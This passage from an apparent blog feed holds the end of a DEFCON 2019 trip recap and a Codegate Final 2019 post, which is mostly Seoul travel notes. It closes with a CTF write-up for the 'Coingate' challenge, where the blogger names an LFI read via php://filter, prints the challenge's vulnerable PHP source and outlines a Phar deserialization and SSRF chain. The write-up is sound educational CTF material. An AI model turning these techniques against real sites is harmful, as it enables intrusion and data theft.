<p><img src="https://i.imgur.com/kz3rVaF.jpg" alt=""></p>
<p>BlackHat奶嘴:</p>
<p><img src="https://i.imgur.com/Q3ZGC0R.jpg" alt=""></p>
<p>從DEFCON頒獎台往下拍的樣子:</p>
<p><img src="https://i.imgur.com/UEcecFZ.jpg" alt=""></p>
<p><br></p>
<h1 id="u7E3D_u7D50"><a href="#u7E3D_u7D50" class="headerlink" title="總結"></a>總結</h1><p>整體來說，今年來Vegas的感覺跟<a href="https://blog.kaibro.tw/2018/08/20/DEFCON-26-Final-CTF初體驗/">去年</a>差蠻多的</p>
<p>但也說不上來是差在哪裡，可能就是少了一點新鮮感(?</p>
<p>也有可能是少了<a href="http://djosix.com/" target="_blank" rel="external">@djosix</a> QQ</p>
<p>不過還是體驗了很多去年沒體驗過的東西</p>
<p>簡單總結一下今年:</p>
<ul>
<li>感謝乾爹們</li>
<li>AK-47好玩</li>
<li>GTR開起來好爽</li>
<li>大峽谷真的好大</li>
<li>胡佛水壩沒有變形金剛</li>
<li>KA秀好看</li>
<li>DEFCON CTF有Web題</li>
<li>Packet還是一樣垃圾</li>
<li>比賽結果很可惜，就差一點QQ</li>
<li>HITCON大佬太牛逼了</li>
<li>我還太菜了</li>
</ul>
<p><img src="https://i.imgur.com/J0lSCn4.jpg" alt=""></p>
]]></content>
    <summary type="html">
    <![CDATA[<p><img src="https://i.imgur.com/HtgiVjy.png" alt=""></p>
<h1 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h1><p>今年DEFCON CTF，再次以BFKinesiS的成員參加(去年叫BFS)，不同的是，今年和HITCON戰隊一起聯隊打。</p>
<p>初賽時在HITCON大佬們的帶領下，拿下第二名，同時也見識到了跟大神們的實力差距</p>
<p>真希望自己有一天也能像大佬們一樣電orz</p>]]>
    
    </summary>
    
      <category term="CTF" scheme="http://blog.kaibro.tw/tags/CTF/"/>
    
      <category term="DEFCON" scheme="http://blog.kaibro.tw/tags/DEFCON/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[Codegate Final 2019]]></title>
    <link href="http://blog.kaibro.tw/2019/03/26/Codegate-Final-2019/"/>
    <id>http://blog.kaibro.tw/2019/03/26/Codegate-Final-2019/</id>
    <published>2019-03-26T11:25:35.000Z</published>
    <updated>2019-04-18T07:12:16.000Z</updated>
    <content type="html"><![CDATA[<h1 id="Codegate_Final_2019"><a href="#Codegate_Final_2019" class="headerlink" title="Codegate Final 2019"></a>Codegate Final 2019</h1><p><img src="https://i.imgur.com/XWUNmT4.png" alt="FinalScoreboard"></p>
<h2 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h2><p>這場初賽和Balsn一起打，雖然初賽題目和環境各種被罵爆，不過最後還是打進決賽了XD</p>
<p>決賽最後的結果蠻可惜的，前半場我們都維持在前3，後面可能大家都想睡覺就沒力惹</p>
<p><br></p>
<a id="more"></a>
<h2 id="u884C_u7A0B"><a href="#u884C_u7A0B" class="headerlink" title="行程"></a>行程</h2><p>比賽時間是在3/26 10:00 ~ 3/27 10:00，共24小時</p>
<p>我們搭3/25早上6點的飛機，抵達當地時間10:20</p>
<p>然後離開是3/29晚上7點的飛機</p>
<p>中間除了兩天比賽時間外，大概就是排了一堆各種韓國吃吃喝喝的行程</p>
<p><br></p>
<p>這次一樣行程和住宿也都我負責的</p>
<p>不過這次不像上次去羅馬尼亞一樣順利，預定行程大概只走了50% ~ 70%</p>
<p>去的時間有點小尷尬，不夠冷，已經沒下雪惹，但也不夠暖，櫻花都還沒開</p>
<p>簡略行程:</p>
<ul>
<li>3/25<ul>
<li>明洞</li>
<li>首爾塔</li>
</ul>
</li>
<li>3/26<ul>
<li>比賽</li>
</ul>
</li>
<li>3/27<ul>
<li>比賽</li>
<li>弘大</li>
</ul>
</li>
<li>3/28<ul>
<li>景福宮</li>
<li>北村</li>
</ul>
</li>
<li>3/29<ul>
<li>廣藏市場</li>
<li>樂天超市</li>
</ul>
</li>
</ul>
<p><br></p>
<h2 id="u63DB_u9322"><a href="#u63DB_u9322" class="headerlink" title="換錢"></a>換錢</h2><p><img src="https://i.imgur.com/IPmFiuR.jpg" alt=""></p>
<p>有聽聞在韓國當地換錢匯率爆幹好</p>
<p>所以出發時，我只在台灣換了10000韓元(約300台幣)，夠搭車就行</p>
<p>然後是在大家都很推的明洞大使館旁邊的換錢所換的</p>
<p>用台幣或美金換，匯率都還不錯</p>
<p><br></p>
<h2 id="u4EA4_u901A"><a href="#u4EA4_u901A" class="headerlink" title="交通"></a>交通</h2><p>韓國首爾基本上到處都有地鐵，有點類似台灣的捷運</p>
<p>我們在出發前，先買了T-money卡(類似台灣的悠遊卡)，在那邊只要先儲值，就能爽搭各種交通工具</p>
<p>另外，從仁川機場到首爾站，可以搭AREX直通車，速度蠻快的，不過要注意班次，間隔時間蠻長的，櫃台也有點難找</p>
<p><img src="https://i.imgur.com/Cf3qght.jpg" alt=""></p>
<p>AREX車票除了這個外，還有一個類似收據的東西</p>
<p>那個很重要，那上面會寫你的座位在哪</p>
<p>我們第一次搭時不知道，就一個坐錯位置</p>
<p><br></p>
<h2 id="u884C_u674E_u5BC4_u653E"><a href="#u884C_u674E_u5BC4_u653E" class="headerlink" title="行李寄放"></a>行李寄放</h2><p>我覺得韓國最難搞的大概就是行李寄放問題</p>
<p>有時候沒辦法提早check-in，就要拖著行李跑行程</p>
<p>通常大的地鐵站都有行李寄放櫃</p>
<p>用法很簡單，但很多要注意的地方</p>
<p>基本上就先選你要的位置，然後付款</p>
<p>接著他就會解鎖給你放</p>
<p>但因為這是一次性的置物櫃</p>
<p>如果你不小心關上，那就掰掰，只能重新付款 (我們發生不少次這種悲劇…</p>
<p><img src="https://i.imgur.com/k2JcEG5.jpg" alt=""></p>
<p>這個是幫我們解決置物櫃關不起來的工作人員</p>
<p>沒錯，這個櫃子超容易出Bug</p>
<p><br></p>
<h2 id="u4F4F_u5BBF"><a href="#u4F4F_u5BBF" class="headerlink" title="住宿"></a>住宿</h2><h3 id="3/25__7E_3/26"><a href="#3/25__7E_3/26" class="headerlink" title="3/25 ~ 3/26"></a>3/25 ~ 3/26</h3><p>比賽官方提供我們25, 26兩天的住宿，住在一個不太高級的飯店</p>
<p>不過就在會場旁邊而已，還算挺方便的</p>
<p>附近雖然晚上有點荒涼，只剩按摩店和金拱門，不過認真找還是有一些賣吃的小店 (小巷內有炸雞店，讚)</p>
<p><img src="https://i.imgur.com/7Cm78LU.jpg" alt=""></p>
<p><img src="https://i.imgur.com/97yR0fS.jpg" alt=""></p>
<p><br></p>
<p>27, 28兩天則是訂Airbnb，分別住弘大和北村那附近</p>
<h3 id="3/27"><a href="#3/27" class="headerlink" title="3/27"></a>3/27</h3><p>27號住的那間，就在弘大地鐵正上方，交通超方便，走路就能到弘大商圈</p>
<p>不過房東有點小雷，他好像忘記清前個房客的東西，所以下午自己跑進來清冰箱</p>
<p>然後就把我們的東西順便清走惹，慘XDD</p>
<p><img src="https://i.imgur.com/4mdPxKD.jpg" alt=""></p>
<p><img src="https://i.imgur.com/yjm4T0f.jpg" alt=""></p>
<h3 id="3/28"><a href="#3/28" class="headerlink" title="3/28"></a>3/28</h3><p>28號住的則是，景福宮旁邊的一間傳統韓屋(我超想體驗看看傳統韓屋XD)</p>
<p>這間價錢算便宜，CP值很高</p>
<p>但缺點就是隔音很差，講話一直被抗議 (但隔壁妹子一直吵都沒被抗議，黑人問號)</p>
<p>不過房東人很好，宵夜還幫我們訂橋村炸雞</p>
<p>原本Uber eat訂不到，想說要直接衝去東大門買，還好有在地人幫忙叫XD</p>
<p><img src="https://i.imgur.com/HCT9u8s.jpg" alt=""></p>
<p><img src="https://i.imgur.com/qFP5acz.jpg" alt=""></p>
<p><img src="https://i.imgur.com/Mu2drqL.jpg" alt=""></p>
<p><br></p>
<h2 id="u666F_u9EDE"><a href="#u666F_u9EDE" class="headerlink" title="景點"></a>景點</h2><h3 id="u9996_u723E_u5854"><a href="#u9996_u723E_u5854" class="headerlink" title="首爾塔"></a>首爾塔</h3><p><img src="https://i.imgur.com/ZpRDq9T.jpg" alt=""></p>
<p>上首爾塔要先搭這個斜的電梯</p>
<p><img src="https://i.imgur.com/29xRKVQ.jpg" alt=""></p>
<p>然後再搭纜車才會到最上面的塔底</p>
<p>上面晚上可能因為在高山上，所以很冷</p>
<p><img src="https://i.imgur.com/eT7sgBB.jpg" alt=""></p>
<p>愛情的枷鎖</p>
<p><img src="https://i.imgur.com/GV99hg0.jpg" alt=""></p>
<p>出現了!首爾塔</p>
<p><img src="https://i.imgur.com/wwphuhT.jpg" alt=""></p>
<p>上面會標註各大城市的方位和距離，台北也在上面XD</p>
<p><img src="https://i.imgur.com/eG73Gcv.jpg" alt=""></p>
<p>首爾塔夜景，很猛</p>
<p>可是反光很嚴重，超難拍XD</p>
<p><img src="https://i.imgur.com/C80JUnT.jpg" alt=""></p>
<h3 id="u660E_u6D1E_u8056_u5802"><a href="#u660E_u6D1E_u8056_u5802" class="headerlink" title="明洞聖堂"></a>明洞聖堂</h3><p><img src="https://i.imgur.com/C8o6PyX.jpg" alt=""></p>
<p>據說是韓國最早的哥德式教堂</p>
<p><img src="https://i.imgur.com/gMtb2Kv.jpg" alt=""></p>
<p>窗戶很有感覺</p>
<p><img src="https://i.imgur.com/2ntdyzd.jpg" alt=""></p>
<p>裡面大家都很安靜</p>
<p>給人一種神聖的感覺XD</p>
<p>我們在裡面坐了一下，有種被淨化的感覺</p>
<h3 id="Line_Friends_Store"><a href="#Line_Friends_Store" class="headerlink" title="Line Friends Store"></a>Line Friends Store</h3><p><img src="https://i.imgur.com/QMYUKN9.jpg" alt=""></p>
<p>就是一個很多人會和熊大一起拍照的地方</p>
<p><img src="https://i.imgur.com/Qts4Kkh.jpg" alt=""></p>
<p><img src="https://i.imgur.com/7GoBXz6.jpg" alt=""></p>
<h3 id="Retro_Game_Bar"><a href="#Retro_Game_Bar" class="headerlink" title="Retro Game Bar"></a>Retro Game Bar</h3><p>弘大最有名的就是夜生活</p>
<p>所以我就找了一家適合肥宅的game bar來體驗一下XD</p>
<p>只要付一杯酒的錢，就能爽玩店裡頭的各種機台、PS4、Switch、…等</p>
<p>我們玩到關門才被老闆趕走XDD</p>
<p>不過老闆人很好，一開始忘記收錢，我們最後要付錢給他時，直接給我們超優惠折扣</p>
<p><img src="https://i.imgur.com/WEOmP2W.jpg" alt=""></p>
<p><img src="https://i.imgur.com/uu5RnMH.jpg" alt=""></p>
<p>特調Menu</p>
<p>上面的酒名幾乎都是遊戲角色名字XD</p>
<p><img src="https://i.imgur.com/GZ1gWzy.jpg" alt=""></p>
<p>居然還有快打旋風機台</p>
<p><img src="https://i.imgur.com/qtg6FGH.jpg" alt=""></p>
<p><img src="https://i.imgur.com/LeyapjV.jpg" alt=""></p>
<p><img src="https://i.imgur.com/ve3EX9T.jpg" alt=""></p>
<p><img src="https://i.imgur.com/rFHeI7y.jpg" alt=""></p>
<p><img src="https://i.imgur.com/MY3IJsY.jpg" alt=""></p>
<p>最後我們這天半夜5點才睡</p>
<p>隔天睡過頭，行程直接砍一半XDD</p>
<h3 id="u666F_u798F_u5BAE"><a href="#u666F_u798F_u5BAE" class="headerlink" title="景福宮"></a>景福宮</h3><p>古代的宮殿</p>
<p>裡頭其實蠻大的，很難全部走完</p>
<p><img src="https://i.imgur.com/o7nM0bI.jpg" alt=""></p>
<p><img src="https://i.imgur.com/ATXMP36.jpg" alt=""></p>
<p><img src="https://i.imgur.com/G6XOWi8.jpg" alt=""></p>
<p>大家都會租韓服來這邊拍照</p>
<h3 id="u6A02_u5929_u8D85_u5E02"><a href="#u6A02_u5929_u8D85_u5E02" class="headerlink" title="樂天超市"></a>樂天超市</h3><p>其實也不算景點，就是一個買各種伴手禮或零食的好地方XD</p>
<p><img src="https://i.imgur.com/eCsYagu.jpg" alt=""></p>
<p>首爾站旁邊的樂天超市</p>
<p><img src="https://i.imgur.com/UtjSTwG.jpg" alt=""></p>
<p><img src="https://i.imgur.com/RphsZR5.jpg" alt=""></p>
<p>我買了一堆零食帶回台灣吃</p>
<p><br></p>
<h2 id="u5403_u5403"><a href="#u5403_u5403" class="headerlink" title="吃吃"></a>吃吃</h2><p>對於資工肥宅來說，韓國比較有吸引力的地方，大概就是到處都是滿滿的美食惹</p>
<h3 id="u738B_u5983_u5BB6"><a href="#u738B_u5983_u5BB6" class="headerlink" title="王妃家"></a>王妃家</h3><p><img src="https://i.imgur.com/JyNoD7x.jpg" alt=""></p>
<p>來韓國的第一餐</p>
<p>燒肉太貴惹，只能點這種已經烤好的XD</p>
<p>可是店員很雷，我們點的東西整個忘記上</p>
<p><img src="https://i.imgur.com/41SmLPS.jpg" alt=""></p>
<h3 id="u660E_u6D1E_u5C0F_u5403"><a href="#u660E_u6D1E_u5C0F_u5403" class="headerlink" title="明洞小吃"></a>明洞小吃</h3><p><img src="https://i.imgur.com/xoMEihg.jpg" alt=""></p>
<p><img src="https://i.imgur.com/hPkrfTq.jpg" alt=""></p>
<p>其實就是洋芋片</p>
<p>只是口感比較特別一點</p>
<h3 id="u4E0D_u77E5_u540D_u70B8_u96DE"><a href="#u4E0D_u77E5_u540D_u70B8_u96DE" class="headerlink" title="不知名炸雞"></a>不知名炸雞</h3><p><img src="https://i.imgur.com/ip36CBO.jpg" alt=""></p>
<p>云計算啤酒(?</p>
<p><img src="https://i.imgur.com/mQxL4cw.jpg" alt=""></p>
<h3 id="u571F_u4FD7_u6751_u8518_u96DE_u6E6F"><a href="#u571F_u4FD7_u6751_u8518_u96DE_u6E6F" class="headerlink" title="土俗村蔘雞湯"></a>土俗村蔘雞湯</h3><p><img src="https://i.imgur.com/SwYAARS.jpg" alt=""></p>
<p><img src="https://i.imgur.com/eMA3WYC.jpg" alt=""></p>
<p>雞裡面包飯</p>
<p><img src="https://i.imgur.com/EHk21h8.jpg" alt=""></p>
<p><img src="https://i.imgur.com/W01vVq0.jpg" alt=""></p>
<p>每個人都有一小罐山蔘</p>
<p>好像要加進去吃的(?</p>
<p>不過我把他當紀念品帶走惹</p>
<p><img src="https://i.imgur.com/HL8Ac0m.jpg" alt=""></p>
<p>他們也有賣人蔘酒，我後來就買了一罐帶回台灣</p>
<h3 id="u8C6C_u9AA8_u6E6F+_u8840_u8178"><a href="#u8C6C_u9AA8_u6E6F+_u8840_u8178" class="headerlink" title="豬骨湯+血腸"></a>豬骨湯+血腸</h3><p><img src="https://i.imgur.com/NrvCLE0.jpg" alt=""></p>
<p><img src="https://i.imgur.com/oslvsJp.jpg" alt=""></p>
<p><img src="https://i.imgur.com/7FNBXd0.jpg" alt=""></p>
<p>血腸味道有點獨特，裡面好像是包內臟之類的東西(?</p>
<h3 id="Booyas_u70E4_u8178"><a href="#Booyas_u70E4_u8178" class="headerlink" title="Booyas烤腸"></a>Booyas烤腸</h3><p><img src="https://i.imgur.com/RwqrUZz.jpg" alt=""></p>
<p><img src="https://i.imgur.com/yApAyN0.jpg" alt=""></p>
<p>這家店面超隱密，很難找</p>
<p>感覺是在地人才比較知道的一家店</p>
<h3 id="u6A4B_u6751_u70B8_u96DE"><a href="#u6A4B_u6751_u70B8_u96DE" class="headerlink" title="橋村炸雞"></a>橋村炸雞</h3><p><img src="https://i.imgur.com/tJ56XkB.jpg" alt=""></p>
<p>蜂蜜口味，好吃!</p>
<p>不愧是傳說中的炸雞，真的讚讚</p>
<h3 id="u4E0D_u77E5_u540D_u7684_u71D2_u8089"><a href="#u4E0D_u77E5_u540D_u7684_u71D2_u8089" class="headerlink" title="不知名的燒肉"></a>不知名的燒肉</h3><p><img src="https://i.imgur.com/mUV7UeH.jpg" alt="滿滿的肉"></p>
<p><img src="https://i.imgur.com/zWvamtS.jpg" alt="生肉"></p>
<p>生牛肉</p>
<p><img src="https://i.imgur.com/gjBA3mI.jpg" alt=""></p>
<p><img src="https://i.imgur.com/wWe8wpw.jpg" alt=""></p>
<p><img src="https://i.imgur.com/1RFCq7f.jpg" alt=""></p>
<h3 id="u6D3B_u7AE0_u9B5A"><a href="#u6D3B_u7AE0_u9B5A" class="headerlink" title="活章魚"></a>活章魚</h3><p><img src="https://i.imgur.com/JiyZdbg.jpg" alt=""></p>
<p>章魚超黏，在口中會微微蠕動XD</p>
<p>還不錯吃，可是很多人不敢吃</p>
<p><img src="https://i.imgur.com/EaEvX8b.jpg" alt=""></p>
<p>廣藏市場裡面超多家活章魚，我們就挑了這家似乎評價不錯的來吃</p>
<h3 id="u4E09_u6E05_u6D1E_u6469_u897F_u5E74_u7CD5_u934B"><a href="#u4E09_u6E05_u6D1E_u6469_u897F_u5E74_u7CD5_u934B" class="headerlink" title="三清洞摩西年糕鍋"></a>三清洞摩西年糕鍋</h3><p><img src="https://i.imgur.com/FRWlrQm.jpg" alt=""></p>
<p>裡面加了起司、方便麵、火腿、海鮮、雞蛋</p>
<p><img src="https://i.imgur.com/kZsvxjT.jpg" alt=""></p>
<p><img src="https://i.imgur.com/IS9TPcN.jpg" alt=""></p>
<h3 id="Isaac"><a href="#Isaac" class="headerlink" title="Isaac"></a>Isaac</h3><p>聽說是韓國美而美</p>
<p><img src="https://i.imgur.com/5iFouLr.jpg" alt=""></p>
<p><img src="https://i.imgur.com/EAy45kF.jpg" alt=""></p>
<h3 id="u751C_u9EDE"><a href="#u751C_u9EDE" class="headerlink" title="甜點"></a>甜點</h3><p><img src="https://i.imgur.com/Q3VmOcD.jpg" alt=""></p>
<p>住宿旁邊的小咖啡廳買的巧克力蛋糕</p>
<p><img src="https://i.imgur.com/zPMXRq8.jpg" alt=""></p>
<p>很厲害的香蕉巧克力鬆餅，但被壓扁惹</p>
<p><img src="https://i.imgur.com/ZNhdrvj.jpg" alt=""></p>
<p>爆幹好吃的Fuhaha爆漿奶油麵包</p>
<h3 id="u9152"><a href="#u9152" class="headerlink" title="酒"></a>酒</h3><p>韓國除了燒酒必喝之外，另一個必喝的就是馬格利</p>
<p>馬格利其實就是韓國米酒，酒味沒燒酒那麼強烈，很像汽水XD</p>
<p><img src="https://i.imgur.com/Fqxw6EC.jpg" alt="soju"></p>
<p>Hacking for soju!</p>
<p><img src="https://i.imgur.com/LhaeF2k.jpg" alt=""></p>
<p>長壽馬格利</p>
<p>還不錯喝，有一點碳酸氣泡感</p>
<p><img src="https://i.imgur.com/BLzAK5B.jpg" alt=""></p>
<p>這個也是馬格利，但味道沒上面那個那麽適合大眾XD</p>
<p><img src="https://i.imgur.com/Ch5KqZo.jpg" alt=""></p>
<p>妹酒</p>
<p><br></p>
<hr>
<h1 id="u6BD4_u8CFD"><a href="#u6BD4_u8CFD" class="headerlink" title="比賽"></a>比賽</h1><p><img src="https://i.imgur.com/wWnvfMX.jpg" alt="codegate"></p>
<p>在出發前，就有聽老前輩說Codegate的Web題都很水</p>
<p>所以看到比賽前半場，只出了一題Web: coingate，雖然沒到非常簡單，但整體沒有感到很意外</p>
<p>(聽說中途好像因為資料庫沒擋外連之類的，直接關掉題目維修…跟初賽差不多雷)</p>
<p><br></p>
<p>但後半場半夜主辦方不知道吃錯啥藥，一口氣丟了無數題Web，而且難度都不低</p>
<p>原本預期可能只有一題Web的我，幾乎沒保留繼續解題的體力，整個被虐爆QQ</p>
<p>果然應該趁沒題目時，趕快去睡覺的</p>
<p>結果Codegate根本Web場……</p>
<p>只有一個會打Web的，有點吃力XDD</p>
<p><br></p>
<p>下面補一下前半場這題Web的Writeup:</p>
<h2 id="Coingate"><a href="#Coingate" class="headerlink" title="Coingate"></a>Coingate</h2><p>題目點開來是一個加密貨幣交易網站</p>
<p>基本功能:</p>
<ul>
<li>註冊</li>
<li>登入</li>
<li>大頭貼</li>
</ul>
<p>快速翻了一下，可以容易發現到，在參數<code>/?p=profile</code>的部分可以LFI</p>
<p><code>/?p=profile</code>引用的是<code>profile.php</code></p>
<p>所以可以用<code>php://filter/convert.base64-encode/resource=</code>去讀Source code</p>
<p>以下列出幾個比較重要的php file</p>
<p>admin.php:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span></div><div class="line"><span class="comment">#from Crypto.Cipher import AES</span></div><div class="line"><span class="comment">#from Crypto import Random</span></div><div class="line"><span class="comment">#import base64</span></div><div class="line"></div><div class="line"><span class="comment">#block_size = 16</span></div><div class="line"><span class="comment">#pad = lambda s: s + (block_size - len(s) % block_size) * chr(block_size - len(s) % block_size)</span></div><div class="line"><span class="comment">#print 'what you need is just to use python aes'</span></div><div class="line"></div><div class="line"><span class="comment">#plain = "flag"</span></div><div class="line"><span class="comment">#plain = pad(plain)</span></div><div class="line"></div><div class="line"><span class="comment">#iv = Random.new().read(AES.block_size)</span></div><div class="line"><span class="comment">#key = 'coingate'</span></div><div class="line"></div><div class="line"><span class="comment">#cipher = AES.new(key,AES.MODE_CBC, iv)</span></div><div class="line"><span class="comment">#encrypted_text = base64.encodestring(cipher.encrypt(iv+plain))</span></div><div class="line"></div><div class="line"><span class="comment">#print encrypted_text</span></div><div class="line"><span class="meta">?&gt;</span></div></pre></td></tr></table></figure>
<p>config.php:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span></div><div class="line"><span class="comment">//	error_reporting(0);</span></div><div class="line">    $host = <span class="string">"coin_db_1"</span>;</div><div class="line">    $user = <span class="string">"coin"</span>;</div><div class="line">    $db_schema = <span class="string">"coin"</span>;</div><div class="line">	$port = <span class="number">3306</span>;</div><div class="line">    $mysql = <span class="keyword">new</span> mysqli($host, $user, <span class="string">""</span>, $db_schema,$port);</div><div class="line">    $mysql-&gt;query(<span class="string">"SET NAMES utf8"</span>);</div><div class="line"></div><div class="line"></div><div class="line"><span class="meta">?&gt;</span></div></pre></td></tr></table></figure>
<p>lib.php:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span></div><div class="line">	ini_set(<span class="string">'phar.readonly'</span>,<span class="number">0</span>);</div><div class="line">    <span class="class"><span class="keyword">class</span> <span class="title">Requests</span></span>&#123;</div><div class="line">        <span class="keyword">public</span> $url;</div><div class="line"></div><div class="line">        <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($url)</span></span>&#123;</div><div class="line">            <span class="keyword">$this</span>-&gt;url = $url;</div><div class="line">        &#125;</div><div class="line">        <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span></span>&#123;</div><div class="line">            $ch = curl_init();</div><div class="line">            curl_setopt($ch, CURLOPT_URL, <span class="keyword">$this</span>-&gt;url);</div><div class="line">            curl_setopt($ch, CURLOPT_RETURNTRANSFER, <span class="keyword">true</span>);</div><div class="line">            $output = curl_exec($ch);</div><div class="line">            <span class="keyword">echo</span> <span class="string">'&lt;div class="description"&gt;'</span>.$output.<span class="string">'&lt;/div&gt;'</span>;</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line"><span class="meta">?&gt;</span></div></pre></td></tr></table></figure>
<p>uploadThumb.php:</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div></pre></td><td class="code"><pre><div class="line"><span class="meta">&lt;?php</span></div><div class="line">    <span class="keyword">if</span>($_SESSION[<span class="string">'is_login'</span>] !==<span class="number">1</span> ) <span class="keyword">die</span>(<span class="string">"&lt;script&gt;alert('Login please.');history.back();&lt;/script&gt;"</span>);</div><div class="line">    chdir(<span class="string">'uploads'</span>);</div><div class="line">    $allowExt = <span class="keyword">Array</span>(<span class="string">'jpg'</span>,<span class="string">'jpeg'</span>,<span class="string">'png'</span>,<span class="string">'gif'</span>);</div><div class="line">    $fname = $_FILES[<span class="string">'thumb'</span>][<span class="string">'name'</span>];</div><div class="line">    $fname = array_pop(explode(<span class="string">'./'</span>,$fname));</div><div class="line">    <span class="keyword">if</span>(file_exists(urldecode($fname)))&#123;</div><div class="line">        </div><div class="line">        <span class="keyword">echo</span> <span class="string">"&lt;script&gt;alert('Already uploaded file.\\nPlease change filename.');history.back();&lt;/script&gt;"</span>;</div><div class="line">    &#125;<span class="keyword">else</span>&#123;</div><div class="line">        $ext = strtolower(array_pop(explode(<span class="string">'.'</span>,$fname)));</div><div class="line">        <span class="keyword">if</span>($_FILES[<span class="string">'thumb'</span>][<span class="string">'error'</span>] !== <span class="number">0</span>)&#123;</div><div class="line">            <span class="keyword">die</span>(<span class="string">"&lt;script&gt;alert('Upload Error!');history.back();&lt;/script&gt;"</span>);</div><div class="line">        &#125;</div><div class="line">        <span class="keyword">if</span>(!in_array($ext, $allowExt))&#123;</div><div class="line">            <span class="keyword">die</span>(<span class="string">"&lt;script&gt;alert('Sorry, not allow extension.');history.back();&lt;/script&gt;"</span>);</div><div class="line">        &#125;</div><div class="line"></div><div class="line">        $contents = file_get_contents($_FILES[<span class="string">'thumb'</span>][<span class="string">'tmp_name'</span>]);</div><div class="line">        <span class="keyword">if</span>($ext==<span class="string">"jpg"</span>)&#123;</div><div class="line">            <span class="keyword">if</span>(substr($contents,<span class="number">0</span>,<span class="number">4</span>)!=<span class="string">"\xFF\xD8\xFF"</span>) <span class="keyword">die</span>(<span class="string">"&lt;script&gt;alert('JPG is corrupted.\\nSorry.');history.back();&lt;/script&gt;"</span>);</div><div class="line">        &#125;<span class="keyword">else</span> <span class="keyword">if</span>($ext==<span class="string">"jpeg"</span>)&#123;</div><div class="line">            <span class="keyword">if</span>(substr($contents,<span class="number">0</span>,<span class="number">4</span>)!=<span class="string">"\xFF\xD8\xFF"</span>) <span class="keyword">die</span>(<span class="string">"&lt;script&gt;alert('JPEG is corrupted.\\nSorry.');history.back();&lt;/script&gt;"</span>);</div><div class="line">	&#125;<span class="keyword">else</span> <span class="keyword">if</span>($ext==<span class="string">"png"</span>)&#123;</div><div class="line">            <span class="keyword">if</span>(substr($contents,<span class="number">0</span>,<span class="number">4</span>)!=<span class="string">"\x89PNG"</span>) <span class="keyword">die</span>(<span class="string">"&lt;script&gt;alert('PNG is corrupted.\\nSorry.');history.back();&lt;/script&gt;"</span>);</div><div class="line">        &#125;<span class="keyword">else</span> <span class="keyword">if</span>($ext==<span class="string">"gif"</span>)&#123;</div><div class="line">            <span class="keyword">if</span>(substr($contents,<span class="number">0</span>,<span class="number">4</span>)!=<span class="string">"GIF8"</span>) <span class="keyword">die</span>(<span class="string">"&lt;script&gt;alert('GIF is corrupted.\\nSorry.');history.back();&lt;/script&gt;"</span>);</div><div class="line">        &#125;<span class="keyword">else</span>&#123;</div><div class="line">            <span class="keyword">die</span>(<span class="string">"&lt;script&gt;alert('Something error.\\nSorry.');history.back();&lt;/script&gt;"</span>);</div><div class="line">        &#125;</div><div class="line">	@move_uploaded_file($_FILES[<span class="string">'thumb'</span>][<span class="string">'tmp_name'</span>], $fname);</div><div class="line">	$id = $mysql-&gt;real_escape_string($_SESSION[<span class="string">'id'</span>]);</div><div class="line">	$sql = <span class="string">"UPDATE users SET thumb='"</span>.$mysql-&gt;real_escape_string($fname).<span class="string">"' WHERE id='"</span>.$id.<span class="string">"'"</span>;</div><div class="line">	$result = $mysql-&gt;query($sql);</div><div class="line">	<span class="keyword">if</span>($result===<span class="keyword">TRUE</span>)&#123;</div><div class="line">            $_SESSION[<span class="string">'avatar'</span>] = $fname;</div><div class="line">            <span class="keyword">echo</span>(<span class="string">"&lt;script&gt;alert('Successfully Avatar Change!');history.back();&lt;/script&gt;"</span>);    </div><div class="line">        &#125;<span class="keyword">else</span>&#123;</div><div class="line">            <span class="keyword">echo</span>(<span class="string">"&lt;script&gt;alert('Upload failed!');history.back();&lt;/script&gt;"</span>);    </div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line"><span class="meta">?&gt;</span></div></pre></td></tr></table></figure>
<p>看完以上幾個檔案後，其實大概可以猜得到題目想考啥</p>
<p>就是Phar反序列化，串SSRF偽造MySQL query去撈FLAG</p>
<p>Payload在這: <a href="https://github.com/w181496/CTF/blob/master/codegate2019-final/coingate/payload.gif" target="_blank" rel="external">https://github.com/w181496/CTF/blob/master/codegate2019-final/coingate/payload.gif</a></p>
